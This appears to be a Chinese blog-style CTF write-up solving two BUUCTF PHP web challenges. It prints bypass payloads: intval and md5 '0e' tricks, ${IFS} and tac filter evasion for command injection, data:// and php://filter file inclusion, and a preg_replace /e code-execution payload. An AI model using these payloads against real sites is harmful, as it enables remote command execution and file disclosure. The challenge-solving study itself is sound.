【BUU刷题日记】——第二周
一、[WUSTCTF2020]朴实无华 1
-
目录爆破
使用dirsearch扫描发现没有结果,因为如果dirsearch请求过快则会导致超出服务器最大请求,扫描不出本来可以访问的目录,所以需要调小线程数:
python dirsearch.py -u http://d8149651-49cb-4573-a1f7-1fbc8b1ab946.node4.buuoj.cn:81/ -t 30
-
访问
抓包一下:
直接访问,会出现一堆中文乱码,使用火狐修复一下变成下图:
<img src="/img.jpg"> <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
观察源码可以发现,要想得到flag需要进行三次绕过。
-
第一关
需要满足:
intval($num) < 2020 && intval($num + 1) > 2021
可以使用科学计数法,使num=2e4,intval函数的处理num会认为num为字符串,从第一个数字开始转换,直到遇到非数字。但是num+1运算时会将num作为科学计数法。
$num=2e4 intval($num)=2 intval($num+1)=20001
-
第二关
需要满足:
$md5==md5($md5)
只需要$md字符串开头为0e,并且md5($md5)后开头也为0e,这样php中弱等于就会将其作为科学计数法,0==0。
$md5=0e215962017
-
第三关
两个条件:
!strstr($get_flag," ") $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
需要$get_flag中不包含空格,不包含cat。
对于空格的规避可以使用:${IFS}、$IFS$1
对于cat的规避可以使用:ca\t、tac、more
总结
- 目录爆破在有些情况下需要调小线程才能爆破成功
- php intval函数的漏洞
- php 在md5函数情况下的等号漏洞
- linux规避空格、关键词过滤
二、[BJDCTF2020]ZJCTF,不过如此
-
代码:
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
file_get_contents:把文件中的内容读入字符串。
-
利用
对于文件读取的协议可以使用data伪协议,它是一个数据流封装协议,从php5.2.0开始生效
构造payload:
?text=data://text/plain,I have a dream 或者 ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
下面的变量file提示查看next.php,文件包含使用php伪协议,payload如下:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
得到的base64字符串解密后:
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
preg_replace函数:
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
其中,
$pattern
参数是一个用于匹配的正则表达式,$replacement
参数是替换的字符串,$subject
参数是需要进行替换的原字符串。$limit
参数表示最多替换的次数(默认为 -1,表示不限制替换次数),$count
参数是一个用于存储实际替换次数的变量(可选)。上面的代码就是通过变量$re中的模式匹配,将$str中匹配到的字符串转化为小写。
-
/e漏洞:
在preg_replace的/e模式下,会将替换字符串当做php代码来执行,这样就可以调用getFlag()函数进行命令行操作。
$str = '1 2 3 4 5'; $result = preg_replace('/\d+/e', 'pow($0, 2)', $str); echo $result; // 输出 1 4 9 16 25
这段代码就是将$str中的变量全部平方。$0代表匹配到的字符串,也就是数字本身。
在本题中,替换字符串部分为'strtolower("\\1")',其中\1等价于$1,代表匹配到的第一个字符串。整个含义就是将匹配到的第一个字符串全变成小写。
-
foreach:
表示把$GET数组中键值赋值给$re,单元值赋值给$str。
-
payload:
因为模式串中为$re的值所以GET传入的变量名应该为?.*,因为.用于匹配除了\n的其他任意字符。但是使用GET传入变量时.会被过滤成_,因此换用其他表达式/S*。
同时其值应该为${getFlag()}用于执行getFlag函数,cmd的值为system('cat /flag')。
?\S*=${getFlag()}&cmd=system('cat /flag'); //分号不能丢
其实不太明白为什么要加*号,网上对${}里面的函数调用也描述很少,先记下来。
-
总结
- data伪协议输入文件流
- preg_match在/e模式下的漏洞